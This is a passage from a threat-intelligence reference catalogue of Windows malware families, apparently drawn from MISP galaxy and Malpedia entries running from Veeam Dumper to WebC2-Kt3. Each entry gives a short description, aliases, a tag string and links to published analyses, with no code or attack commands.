https://www.blueliv.com/downloads/network-insights-into-vawtrak-v2.pdf
https://www.f5.com/labs/articles/education/banking-trojans-a-reference-guide-to-the-malware-family-tree
http://thehackernews.com/2017/01/neverquest-fbi-hacker.html
https://securityintelligence.com/posts/from-ramnit-to-bumblebee-via-neverquest
https://www.secureworks.com/research/dyre-banking-trojan
https://info.phishlabs.com/blog/the-unrelenting-evolution-of-vawtrak
https://blog.fox-it.com/2018/08/09/bokbot-the-rebirth-of-a-banker/

Veeam Dumper

Credential Stealer, written in .NET.

The tag is: *misp-galaxy:malpedia="Veeam Dumper"*

Veeam Dumper is also known as:

Table 3362. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.veeam
https://blogs.blackberry.com/en/2022/09/the-curious-case-of-monti-ransomware-a-real-world-doppelganger

VegaLocker

Delphi-based ransomware.

The tag is: *misp-galaxy:malpedia="VegaLocker"*

VegaLocker is also known as:

- Buran
- Vega

Table 3363. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.vegalocker
https://twitter.com/malwrhunterteam/status/1093136163836174339
https://medium.com/walmartglobaltech/man1-moskal-hancitor-and-a-side-of-ransomware-d77b4d991618
https://twitter.com/malwrhunterteam/status/1095024267459284992
https://www.symantec.broadcom.com/hubfs/SED/SED_Threat_Hunter_Reports_Alerts/SED_FY22Q2_SES_Ransomware-Threat-Landscape_WP.pdf
https://www.mcafee.com/blogs/other-blogs/mcafee-labs/buran-ransomware-the-evolution-of-vegalocker/

Velso

Ransomware that appears to require manually installation (believed to be via RDP). Encrypts files with .velso extension.

The tag is: *misp-galaxy:malpedia="Velso"*

Velso is also known as:

Table 3364. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.velso
https://www.bleepingcomputer.com/news/security/the-velso-ransomware-being-manually-installed-by-attackers/

Venom RAT

The tag is: *misp-galaxy:malpedia="Venom RAT"*

Venom RAT is also known as:

Table 3365. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.venom
https://blogs.jpcert.or.jp/en/2020/12/quasar-family.html
https://www.cybeseclabs.com/2020/05/07/venom-remote-administration-tool-from-venom-software/
https://blog.malwarelab.pl/posts/venom/

VenomLNK

VenomLNK is the initial phase of the more_eggs malware-as-a-service. It is a poisoned .lnk file that depends on User Execution and points to LOLBINs (often cmd.exe) with additional obfuscated scripting options. This typically initiates WMI abuse and TerraLoader, which can load additional functionality through various plugins.

The tag is: *misp-galaxy:malpedia="VenomLNK"*

VenomLNK is also known as:

Table 3366. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.venom_lnk
https://medium.com/@quoscient/the-chicken-keeps-laying-new-eggs-uncovering-new-gc-maas-tools-used-by-top-tier-threat-actors-531d80a6b4e9
https://quointelligence.eu/2020/07/golden-chickens-evolution-of-the-maas/

Venus Locker

The tag is: *misp-galaxy:malpedia="Venus Locker"*

Venus Locker is also known as:

Table 3367. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.venus_locker
https://twitter.com/JaromirHorejsi/status/813690129088937984

Vermilion Strike (Windows)

The tag is: *misp-galaxy:malpedia="Vermilion Strike (Windows)"*

Vermilion Strike (Windows) is also known as:

Table 3368. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.vermilion_strike
https://www.intezer.com/blog/malware-analysis/vermilionstrike-reimplementation-cobaltstrike/

Vermin

The tag is: *misp-galaxy:malpedia="Vermin"*

Vermin is also known as:

Table 3369. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.vermin
https://researchcenter.paloaltonetworks.com/2018/01/unit42-vermin-quasar-rat-custom-malware-used-ukraine/
https://www.welivesecurity.com/2018/07/17/deep-dive-vermin-rathole/
https://www.fireeye.com/blog/threat-research/2019/04/spear-phishing-campaign-targets-ukraine-government.html

Vflooder

Vflooder floods VirusTotal by infinitely submitting a copy of itself. Some variants apparently also try to flood Twitter. The impact on these services are negligible, but for researchers it can be a nuisance. Most versions are protectd by VMProtect.

The tag is: *misp-galaxy:malpedia="Vflooder"*

Vflooder is also known as:

Table 3370. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.vflooder
https://blog.malwarebytes.com/threat-analysis/2017/10/analyzing-malware-by-api-calls/

VHD Ransomware

The tag is: *misp-galaxy:malpedia="VHD Ransomware"*

VHD Ransomware is also known as:

Table 3371. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.vhd_ransomware
https://securelist.com/lazarus-on-the-hunt-for-big-game/97757/
https://seguranca-informatica.pt/secrets-behind-the-lazaruss-vhd-ransomware/
https://twitter.com/GrujaRS/status/1241657443282825217
https://securelist.com/apt-trends-report-q2-2020/97937/
https://www.trellix.com/en-us/about/newsroom/stories/threat-labs/the-sound-of-malware.html
https://www.trellix.com/en-us/about/newsroom/stories/threat-labs/the-hermit-kingdoms-ransomware-play.html

VictoryGate

VictoryGate was the name of a cryptomining botnet, which was disrupted by ESET researchers in April 2020. The used malware itself was also referred to as VictoryGate. It was spotted in May 2019 and targeted mainly Latin American users, specifically, Peru (Criptonizando states 90% of the botnet publication residing there). Both public and private sectors were targeted. This cryptojacking malware was specialized in Monero (XRM) cryptocurrency.

The tag is: *misp-galaxy:malpedia="VictoryGate"*

VictoryGate is also known as:

Table 3372. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.victorygate
https://www.advintel.io/post/economic-growth-digital-inclusion-specialized-crime-financial-cyber-fraud-in-latam
https://www.welivesecurity.com/2020/04/23/eset-discovery-monero-mining-botnet-disrupted/
https://criptonizando.com/35-mil-computadores-foram-infectados-na-america-latina-por-malware-que-minerava-monero/
https://www.eset.com/int/about/newsroom/press-releases/research/eset-researchers-disrupt-cryptomining-botnet-victorygate/

Vidar

Vidar is a forked malware based on Arkei. It seems this stealer is one of the first that is grabbing information on 2FA Software and Tor Browser.

The tag is: *misp-galaxy:malpedia="Vidar"*

Vidar is also known as:

Table 3373. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.vidar
https://www.csoonline.com/article/3654849/microsoft-help-files-repurposed-to-contain-vidar-malware-in-new-campaign.html
https://tccontre.blogspot.com/2019/03/infor-stealer-vidar-trojanspy-analysis.html
https://www.cybereason.com/blog/the-hole-in-the-bucket-attackers-abuse-bitbucket-to-deliver-an-arsenal-of-malware
https://twitter.com/GroupIB_GIB/status/1570821174736850945
https://docs.google.com/spreadsheets/d/1nx42rdMdkCrvlmACDi3CHseyG87iSV1Y6rGZYq_-oDk

https://blog.malwarebytes.com/threat-intelligence/2022/04/colibri-loader-combines-task-scheduler-and-powershell-in-clever-persistence-technique/
https://www.trendmicro.com/en_us/research/21/i/fake-installers-drop-malware-and-open-doors-for-opportunistic-attackers.html
https://blog.sekoia.io/traffers-a-deep-dive-into-the-information-stealer-ecosystem
https://medium.com/csis-techblog/inside-view-of-brazzzersff-infrastructure-89b9188fd145
https://medium.com/s2wlab/deep-analysis-of-vidar-stealer-ebfc3b557aed
https://go.recordedfuture.com/hubfs/reports/cta-2022-0802.pdf
https://0x00-0x7f.github.io/A-Case-of-Vidar-Infostealer-Part-2/
https://blog.minerva-labs.com/vidar-stealer-evasion-arsenal
https://www.zscaler.com/blogs/security-research/vidar-distributed-through-backdoored-windows-11-downloads-and-abusing
https://blog.malwarebytes.com/threat-analysis/2019/01/vidar-gandcrab-stealer-and-ransomware-combo-observed-in-the-wild/
https://www.bleepingcomputer.com/news/security/gandcrab-operators-use-vidar-infostealer-as-a-forerunner/
https://asec.ahnlab.com/en/30445/
https://blog.sekoia.io/privateloader-the-loader-of-the-prevalent-ruzki-ppi-service/
https://go.crowdstrike.com/rs/281-OBQ-266/images/Report2020CrowdStrikeGlobalThreatReport.pdf
https://eln0ty.github.io/malware%20analysis/vidar/
https://intel471.com/blog/privateloader-malware
https://isc.sans.edu/diary/rss/28468
https://asec.ahnlab.com/en/22932/
https://0x00-0x7f.github.io/A-Case-of-Vidar-Infostealer-Part-1-(-Unpacking-)/
https://cert.pl/en/posts/2021/10/vidar-campaign/
https://threatpost.com/microsoft-help-files-vidar-malware/179078/
https://www.trustwave.com/en-us/resources/blogs/spiderlabs-blog/vidar-malware-launcher-concealed-in-help-file/
https://medium.com/s2wlab/w1-feb-en-story-of-the-week-stealers-on-the-darkweb-49945a31601d
https://fumik0.com/2018/12/24/lets-dig-into-vidar-an-arkei-copycat-forked-stealer-in-depth-analysis/
https://asec.ahnlab.com/en/30875/
https://twitter.com/sisoma2/status/1409816282065743872
https://asec.ahnlab.com/ko/25837/
https://ke-la.com/information-stealers-a-new-landscape/
https://www.bleepingcomputer.com/news/security/fake-pixelmon-nft-site-infects-you-with-password-stealing-malware/

VIGILANT CLEANER

Wiper malware discovered by Japanese security firm Mitsui Bussan Secure Directions (MBSD), which is assumed to target Japan, the host country of the 2021 Summer Olympics. In addition to targeting common file Office-related files, it specifically targets file types associated with the Japanese word processor Ichitaro.

The tag is: *misp-galaxy:malpedia="VIGILANT CLEANER"*

VIGILANT CLEANER is also known as:

- VIGILANT CHECKER

Table 3374. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.vigilant_cleaner
https://blog.trendmicro.co.jp/archives/28319
https://www.mbsd.jp/research/20210721/blog/
https://blog.cyble.com/2021/08/02/a-deep-dive-analysis-of-a-new-wiper-malware-disguised-as-tokyo-olympics-document/
https://www.fortinet.com/blog/threat-research/wiper-malware-riding-tokyo-olympic-games
https://therecord.media/wiper-malware-targeting-japanese-pcs-discovered-ahead-of-tokyo-olympics-opening/

virdetdoor

The tag is: *misp-galaxy:malpedia="virdetdoor"*

virdetdoor is also known as:

Table 3375. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.virdetdoor
https://www.proofpoint.com/us/exploring-bergard-old-malware-new-tricks

Virut

The tag is: *misp-galaxy:malpedia="Virut"*

Virut is also known as:

Table 3376. Table References

Links

https://malpedia.caad.fkie.fraunhofer.de/details/win.virut
https://chrisdietri.ch/post/virut-resurrects/
https://www.mandiant.com/resources/pe-file-infecting-malware-ot
https://blog.malwarebytes.com/threat-analysis/2018/03/blast-from-the-past-stowaway-virut-delivered-with-chinese-ddos-bot/
https://www.theregister.co.uk/2018/01/10/taiwanese_police_malware/
https://securelist.com/review-of-the-virus-win32-virut-ce-malware-sample/36305/
https://krebsonsecurity.com/2013/01/polish-takedown-targets-virut-botnet/
https://www.secureworks.com/research/virut-encryption-analysis
https://www.spamhaus.org/news/article/690/cooperative-efforts-to-shut-down-virut-botnet

Vizom

The tag is: *misp-galaxy:malpedia="Vizom"*

Vizom is also known as:

Table 3377. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.vizom
https://securityintelligence.com/posts/vizom-malware-targets-brazilian-bank-customers-remote-overlay/

Vjw0rm

VJW0rm (aka Vengeance Justice Worm) is a publicly available, modular JavaScript RAT. Vjw0rm was first released in November 2016 by its primary author, v_B01 (aka Sliemerez), within the prominent DevPoint Arabic-language malware development community. VJW0rm appears to be the JavaScript variant of a series of RATs with identical functionality released by the author throughout late 2016. Other variants include a Visual Basic Script (VBS) based worm titled vw0rm (Vengeance Worm), an AutoHotkey-based tool called vrw0rm (Vengeance Rise Worm), and a PowerShell-based variant called vdw0rm (Vengeance Depth Worm).

The tag is: *misp-galaxy:malpedia="Vjw0rm"*

Vjw0rm is also known as:

Table 3378. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.vjw0rm
https://community.riskiq.com/article/24759ad2

https://threatresearch.ext.hp.com/wp-content/uploads/2022/05/HP-Wolf-Security-Threat-Insights-Report-Q1-2022.pdf
https://www.proofpoint.com/us/blog/threat-insight/reservations-requested-ta558-targets-hospitality-and-travel
https://appriver.com/resources/blog/november-2020/vjw0rm-back-new-tactics
https://twitter.com/tccontre18/status/1461386178528264204
https://www.deepinstinct.com/blog/understanding-the-windows-javascript-threat-landscape
https://bazaar.abuse.ch/browse/signature/Vjw0rm/
https://lifars.com/wp-content/uploads/2021/09/Vjw0rm-.pdf
https://threatresearch.ext.hp.com/wp-content/uploads/2021/10/HP-Wolf-Security-Threat-Insights-Report-Q3-2021.pdf

VM Zeus

The tag is: *misp-galaxy:malpedia="VM Zeus"*

VM Zeus is also known as:

- VMzeus
- Zberp
- ZeusVM

Table 3379. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.vmzeus
https://blog.malwarebytes.com/threat-analysis/2014/02/hiding-in-plain-sight-a-story-about-a-sneaky-banking-trojan/
https://securityintelligence.com/new-zberp-trojan-discovered-zeus-zbot-carberp/

Vobfus

The tag is: *misp-galaxy:malpedia="Vobfus"*

Vobfus is also known as:

- Beebone

Table 3380. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.vobfus

https://www.trendmicro.com/vinfo/us/threat-encyclopedia/web-attack/151/beebone-botnet-takedown-trend-micro-solutions
https://blog.trendmicro.com/trendlabs-security-intelligence/whats-the-fuss-with-worm_vobfus/
http://contagiodump.blogspot.com/2012/12/nov-2012-worm-vobfus-samples.html

Void

Ransomware.

The tag is: *misp-galaxy:malpedia="Void"*

Void is also known as:

- VoidCrypt

Table 3381. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.void
https://id-ransomware.blogspot.com/2020/04/void-voidcrypt-ransomware.html
https://securelist.com/cis-ransomware/104452/

Volgmer

The tag is: *misp-galaxy:malpedia="Volgmer"*

Volgmer is also known as:

- FALLCHILL
- Manuscrypt

Table 3382. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.volgmer
https://drive.google.com/file/d/1lq0Sjw4FKBxf017Ss7W7uGMvs7CgFzcA/view
https://blog.lexfo.fr/ressources/Lexfo-WhitePaper-The_Lazarus_Constellation.pdf
https://securelist.com/lazarus-threatneedle/100803/
https://www.secureworks.com/research/threat-profiles/nickel-academy
https://securelist.com/apt-trends-report-q2-2020/97937/
https://www.us-cert.gov/ncas/alerts/TA17-318B
https://ti.qianxin.com/uploads/2020/02/13/cb78386a082f465f259b37dae5df4884.pdf
https://securelist.com/operation-applejeus/87553/

https://drive.google.com/file/d/1XoGQFEJQ4nFAUXSGwcnTobviQ_ms35mG/view
https://lifars.com/wp-content/uploads/2021/09/Lazarus.pdf
https://medium.com/s2wlab/analysis-of-threatneedle-c-c-communication-feat-google-tag-warning-to-researchers-782aa51cf74

Vovalex

Ransomware written in D.

The tag is: *misp-galaxy:malpedia="Vovalex"*

Vovalex is also known as:

Table 3383. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.vovalex
https://twitter.com/malwrhunterteam/status/1351808079164276736
https://twitter.com/VK_Intel/status/1355196321964109824

Vreikstadi

The tag is: *misp-galaxy:malpedia="Vreikstadi"*

Vreikstadi is also known as:

Table 3384. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.vreikstadi
https://twitter.com/malware_traffic/status/821483557990318080

VSingle

The tag is: *misp-galaxy:malpedia="VSingle"*

VSingle is also known as:

Table 3385. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.vsingle
https://blogs.jpcert.or.jp/en/2022/07/vsingle.html
https://blogs.jpcert.or.jp/en/2021/03/Lazarus_malware3.html

vSkimmer

The tag is: *misp-galaxy:malpedia="vSkimmer"*

vSkimmer is also known as:

Table 3386. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.vskimmer
http://www.xylibox.com/2013/01/vskimmer.html
https://securingtomorrow.mcafee.com/mcafee-labs/vskimmer-botnet-targets-credit-card-payment-terminals/
http://vkremez.weebly.com/cyber-security/-backdoor-win32hesetoxa-vskimmer-pos-malware-analysis

Vulturi

Information stealer.

The tag is: *misp-galaxy:malpedia="Vulturi"*

Vulturi is also known as:

Table 3387. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.vulturi
https://twitter.com/ViriBack/status/1430604948241276928?s=20

w32times

The tag is: *misp-galaxy:malpedia="w32times"*

w32times is also known as:

Table 3388. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.w32times
https://attack.mitre.org/wiki/Group/G0022

win.wabot

Wabot is an IRC worm that is written in Delphi.

The tag is: *misp-galaxy:malpedia="win.wabot"* win.wabot is also known as:

Table 3389. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.wabot
https://blog.talosintelligence.com/2017/03/threat-roundup-0324-0331.html

WallyShack

The tag is: *misp-galaxy:malpedia="WallyShack"*

WallyShack is also known as:

Table 3390. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.wallyshack
https://blog.malwarebytes.com/threat-analysis/2019/02/new-golang-brute-forcer-discovered-amid-rise-e-commerce-attacks/

WannaCryptor

The tag is: *misp-galaxy:malpedia="WannaCryptor"*

WannaCryptor is also known as:

- Wana Decrypt0r
- WannaCry
- WannaCrypt
- Wcry

Table 3391. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.wannacryptor
https://securelist.com/big-threats-using-code-similarity-part-1/97239/
https://securelist.com/blog/incidents/78351/wannacry-ransomware-used-in-widespread-attacks-all-over-the-world/
https://gist.github.com/rain-1/989428fa5504f378b993ee6efbc0b168
https://resources.malwarebytes.com/files/2020/02/2020_State-of-Malware-Report.pdf
https://blog.avast.com/ransomware-that-infected-telefonica-and-nhs-hospitals-is-spreading-aggressively-with-over-50000-attacks-so-far-today

https://www.microsoft.com/security/blog/2020/03/05/human-operated-ransomware-attacks-a-preventable-disaster/
https://www.symantec.com/connect/blogs/wannacry-ransomware-attacks-show-strong-links-lazarus-group
https://www.malwaretech.com/2017/05/how-to-accidentally-stop-a-global-cyber-attacks.html
https://blog.malwarebytes.com/cybercrime/2017/05/how-did-wannacry-ransomworm-spread/
https://blog.lexfo.fr/ressources/Lexfo-WhitePaper-The_Lazarus_Constellation.pdf
https://www.youtube.com/watch?v=Q90uZS3taG0
https://news.sophos.com/en-us/2019/09/18/the-wannacry-hangover/
https://sites.temple.edu/care/ci-rw-attacks/
https://www.welivesecurity.com/wp-content/uploads/2020/07/ESET_Threat_Report_Q22020.pdf
https://news.sophos.com/en-us/2021/03/15/dearcry-ransomware-attacks-exploit-exchange-server-vulnerabilities/
http://blog.emsisoft.com/2017/05/12/wcry-ransomware-outbreak/
https://www.sophos.com/en-us/medialibrary/PDFs/technical-papers/WannaCry-Aftershock.pdf
https://storage.googleapis.com/pub-tools-public-publication-data/pdf/ce44cbda9fdc061050c1d2a5dec0270874a9dc85.pdf
https://blog.comae.io/wannacry-new-variants-detected-b8908fefea7e
https://news.sophos.com/en-us/2022/03/17/the-ransomware-threat-intelligence-center/
https://swanleesec.github.io/posts/Malware-Lazarus-group’s-Brambul-worm-of-the-former-Wannacry-1
https://blog.gdatasoftware.com/2017/05/29751-wannacry-ransomware-campaign
https://docs.microsoft.com/en-us/security/compass/human-operated-ransomware
https://www.flashpoint-intel.com/blog/linguistic-analysis-wannacry-ransomware/
http://www.independent.co.uk/news/uk/home-news/wannacry-malware-hack-nhs-report-cybercrime-north-korea-uk-ben-wallace-a8022491.html
https://www.microsoft.com/security/blog/2017/05/12/wannacrypt-ransomware-worm-targets-out-of-date-systems/
https://baesystemsai.blogspot.de/2017/05/wanacrypt0r-ransomworm.html
https://blog.comae.io/wannacry-decrypting-files-with-wanakiwi-demo-86bafb81112d
https://github.com/0xZuk0/rules-of-yaras/blob/main/reports/Wannacry%20Ransomware%20Report.pdf
https://metaswan.github.io/posts/Malware-Lazarus-group’s-Brambul-worm-of-the-former-Wannacry-1
https://themoscowtimes.com/news/wcry-virus-reportedly-infects-russian-interior-ministrys-computer-network-57984
https://dissectingmalwa.re/third-times-the-charm-analysing-wannacry-samples.html

https://krebsonsecurity.com/2017/05/u-k-hospitals-hit-in-widespread-ransomware-attack/
https://blog.comae.io/wannacry-the-largest-ransom-ware-infection-in-history-f37da8e30a58
https://i.blackhat.com/eu-20/Wednesday/eu-20-Rivera-From-Zero-To-Sixty-The-Story-Of-North-Koreas-Rapid-Ascent-To-Becoming-A-Global-Cyber-Superpower.pdf
https://www.il-pib.pl/czasopisma/JTIT/2019/1/113.pdf

WannaHusky

According to Mars, WannaHusky is a Nim-compiled ransomware malware sample, created for demonstration purposes and provided as part of the Practical Malware Analysis & Triage course provided by HuskyHacks.

The tag is: *misp-galaxy:malpedia="WannaHusky"*

WannaHusky is also known as:

Table 3392. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.wannahusky
https://medium.com/@mars0x/wannahusky-malware-analysis-w-yara-ttps-2069fb479909

WannaRen

Ransomware.

The tag is: *misp-galaxy:malpedia="WannaRen"*

WannaRen is also known as:

Table 3393. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.wannaren
https://id-ransomware.blogspot.com/2020/03/wannaren-ransomware.html

WastedLoader

This malware looks similar to WastedLocker, but the ransomware component is missing.

The tag is: *misp-galaxy:malpedia="WastedLoader"*

WastedLoader is also known as:

Table 3394. Table References

Links

https://malpedia.caad.fkie.fraunhofer.de/details/win.wastedloader
https://killingthebear.jorgetesta.tech/actors/evil-corp
https://www.bitdefender.com/files/News/CaseStudies/study/397/Bitdefender-PR-Whitepaper-RIG-creat5362-en-EN.pdf

WastedLocker

WastedLocker is a ransomware detected to be in use since May 2020 by EvilCorp. The ransomware name is derived from the filename that it creates which includes an abbreviation of the victim's name and the string 'wasted'. WastedLocker is protected with a custom crypter, referred to as CryptOne by Fox-IT InTELL. On examination, this crypter turned out to be very basic and was used also by other malware families such as: Netwalker, Gozi ISFB v3, ZLoader and Smokeloader. The crypter mainly contains junk code to increase entropy of the sample and hide the actual code.

The tag is: *misp-galaxy:malpedia="WastedLocker"*

WastedLocker is also known as:

Table 3395. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.wastedlocker
https://ioc.hatenablog.com/entry/2020/08/16/132853
https://www.bleepingcomputer.com/news/security/new-evil-corp-ransomware-mimics-payloadbin-gang-to-evade-us-sanctions/
https://labs.sentinelone.com/wastedlocker-ransomware-abusing-ads-and-ntfs-file-attributes/
https://symantec.broadcom.com/hubfs/SED-Threats-Financial-Sector.pdf
https://www.proofpoint.com/us/blog/threat-insight/first-step-initial-access-leads-ransomware
https://blog.malwarebytes.com/threat-spotlight/2020/07/threat-spotlight-wastedlocker-customized-ransomware/
https://blog.talosintelligence.com/2021/03/ctir-trends-winter-2020-21.html
https://unit42.paloaltonetworks.com/atoms/wastedlocker-ransomware/
https://unit42.paloaltonetworks.com/wastedlocker/
https://www.securonix.com/web/wp-content/uploads/2020/08/Securonix_Threat_Research_WastedLocker_Ransomware.pdf
https://www.symantec.broadcom.com/hubfs/SED/SED_Threat_Hunter_Reports_Alerts/SED_FY22Q2_SES_Ransomware-Threat-Landscape_WP.pdf
https://github.com/microsoft/Microsoft-365-Defender-Hunting-Queries
https://securelist.com/wastedlocker-technical-analysis/97944/
https://www.sentinelone.com/wp-content/uploads/2022/02/S1_-SentinelLabs_SanctionsBeDamned_final_02.pdf

https://blog.talosintelligence.com/2020/07/wastedlocker-emerges.html
https://www.pwc.co.uk/issues/cyber-security-services/insights/what-is-behind-ransomware-attacks-increase.html
https://seguranca-informatica.pt/wastedlocker-malware-analysis/ .YfAaIRUITTY.twitter[https://seguranca-informatica.pt/wastedlocker-malware-analysis/.YfAaIRUITTY.twitter]
https://blog.bushidotoken.net/2022/07/space-invaders-cyber-threats-that-are.html
https://symantec-enterprise-blogs.security.com/blogs/threat-intelligence/wastedlocker-ransomware-us
https://www.bleepingcomputer.com/news/security/evil-corp-switches-to-hades-ransomware-to-evade-sanctions/
https://kc.mcafee.com/corporate/index?page=content&id=KB93302&locale=en_US
https://assets.sentinelone.com/sentinellabs/sentinellabs_EvilCorp
https://areteir.com/wp-content/uploads/2020/07/Ransomware-WastedLocker-1.pdf
https://news.sophos.com/en-us/2020/08/04/wastedlocker-techniques-point-to-a-familiar-heritage/
http://www.secureworks.com/research/threat-profiles/gold-drake
https://news.sophos.com/en-us/2022/03/17/the-ransomware-threat-intelligence-center/
https://www.crowdstrike.com/blog/hades-ransomware-successor-to-indrik-spiders-wastedlocker/
https://blog.truesec.com/2021/05/05/are-the-notorious-cyber-criminals-evil-corp-actually-russian-spies/
https://www.sentinelone.com/labs/sanctions-be-damned-from-dridex-to-macaw-the-evolution-of-evil-corp/
https://www.mandiant.com/resources/unc2165-shifts-to-evade-sanctions
https://www.bbc.com/news/world-us-canada-53195749
https://www.prodaft.com/m/uploads/SilverFish_TLPWHITE.pdf
https://blog.talosintelligence.com/2020/12/2020-year-in-malware.html
https://www.microsoft.com/security/blog/2022/05/09/ransomware-as-a-service-understanding-the-cybercrime-gig-economy-and-how-to-protect-yourself
https://medium.com/walmartglobaltech/wastedloader-or-dridexloader-4f47c9b3ae77
https://www.paloaltonetworks.com/content/dam/pan/en_US/assets/pdf/reports/Unit_42/unit42-ransomware-threat-report-2021.pdf
https://www.bleepingcomputer.com/news/security/insurance-giant-cna-hit-by-new-phoenix-cryptolocker-ransomware/
https://symantec.broadcom.com/hubfs/The_Ransomware_Threat_September_2021.pdf
https://www.crowdstrike.com/blog/double-trouble-ransomware-data-leak-extortion-part-1/
https://medium.com/cycraft/the-road-to-ransomware-resilience-c1ca37036efd

https://www.bitdefender.com/files/News/CaseStudies/study/397/Bitdefender-PR-Whitepaper-RIG-creat5362-en-EN.pdf
https://www.deepinstinct.com/2021/05/26/deep-dive-packing-software-cryptone/
https://www.pwc.co.uk/cyber-security/pdf/pwc-cyber-threats-2020-a-year-in-retrospect.pdf
https://killingthebear.jorgetesta.tech/actors/evil-corp
https://www.bleepingcomputer.com/news/security/garmin-outage-caused-by-confirmed-wastedlocker-ransomware-attack/
https://research.nccgroup.com/2020/06/23/wastedlocker-a-new-ransomware-variant-developed-by-the-evil-corp-group/
https://go.crowdstrike.com/rs/281-OBQ-266/images/Report2021GTR.pdf

Waterbear

Waterbear, also known as DbgPrint in its earlier export function, has been active since 2009. The malware is presumably developed by the BlackTech APT group and adopts advanced anti-analysis and forward-thinking design. These designs include a sophisticated shellcode stager, the ability to load plugins on-the-fly, and overall evasiveness should the C2 server fail to respond with a valid session key.

The tag is: *misp-galaxy:malpedia="Waterbear"*

Waterbear is also known as:

- DbgPrint
- EYEWELL

Table 3396. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.waterbear
https://teamt5.org/tw/posts/mjib-holds-briefing-on-chinese-hackers-attacks-on-taiwanese-government-agencies/
https://jsac.jpcert.or.jp/archive/2020/pdf/JSAC2020_2_ycy-aragorn_en.pdf
https://i.blackhat.com/asia-21/Friday-Handouts/as-21-Tseng-Mem2Img-Memory-Resident-Malware-Detection-via-Convolution-Neural-Network.pdf
https://www.youtube.com/watch?v=6SDdUVejR2w
https://www.zdnet.com/article/waterbear-malware-used-in-attack-wave-against-government-agencies/
https://daydaynews.cc/zh-tw/technology/297265.html
https://www.trendmicro.com/en_us/research/19/l/waterbear-is-back-uses-api-hooking-to-evade-security-product-detection.html

WaterMiner

The tag is: *misp-galaxy:malpedia="WaterMiner"*

WaterMiner is also known as:

Table 3397. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.waterminer
https://blog.minerva-labs.com/waterminer-a-new-evasive-crypto-miner

WaterSpout

The tag is: *misp-galaxy:malpedia="WaterSpout"*

WaterSpout is also known as:

Table 3398. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.waterspout
https://www.fireeye.com/blog/threat-research/2014/09/darwins-favorite-apt-group-2.html

WebC2-AdSpace

The tag is: *misp-galaxy:malpedia="WebC2-AdSpace"*

WebC2-AdSpace is also known as:

Table 3399. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.webc2_adspace
https://github.com/securitykitten/malware_references/blob/master/Appendix%20C%20(Digital)%20-%20The%20Malware%20Arsenal.pdf

WebC2-Ausov

The tag is: *misp-galaxy:malpedia="WebC2-Ausov"*

WebC2-Ausov is also known as:

Table 3400. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.webc2_ausov

https://github.com/securitykitten/malware_references/blob/master/Appendix%20C%20(Digital)%20-%20The%20Malware%20Arsenal.pdf

WebC2-Bolid

The tag is: *misp-galaxy:malpedia="WebC2-Bolid"*

WebC2-Bolid is also known as:

Table 3401. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.webc2_bolid
https://github.com/securitykitten/malware_references/blob/master/Appendix%20C%20(Digital)%20-%20The%20Malware%20Arsenal.pdf

WebC2-Cson

The tag is: *misp-galaxy:malpedia="WebC2-Cson"*

WebC2-Cson is also known as:

Table 3402. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.webc2_cson
https://github.com/securitykitten/malware_references/blob/master/Appendix%20C%20(Digital)%20-%20The%20Malware%20Arsenal.pdf

WebC2-DIV

The tag is: *misp-galaxy:malpedia="WebC2-DIV"*

WebC2-DIV is also known as:

Table 3403. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.webc2_div
https://github.com/securitykitten/malware_references/blob/master/Appendix%20C%20(Digital)%20-%20The%20Malware%20Arsenal.pdf

WebC2-GreenCat

The tag is: *misp-galaxy:malpedia="WebC2-GreenCat"*

WebC2-GreenCat is also known as:

Table 3404. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.webc2_greencat
https://github.com/securitykitten/malware_references/blob/master/Appendix%20C%20(Digital)%20-%20The%20Malware%20Arsenal.pdf

WebC2-Head

The tag is: *misp-galaxy:malpedia="WebC2-Head"*

WebC2-Head is also known as:

Table 3405. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.webc2_head
https://github.com/securitykitten/malware_references/blob/master/Appendix%20C%20(Digital)%20-%20The%20Malware%20Arsenal.pdf

WebC2-Kt3

The tag is: *misp-galaxy:malpedia="WebC2-Kt3"*

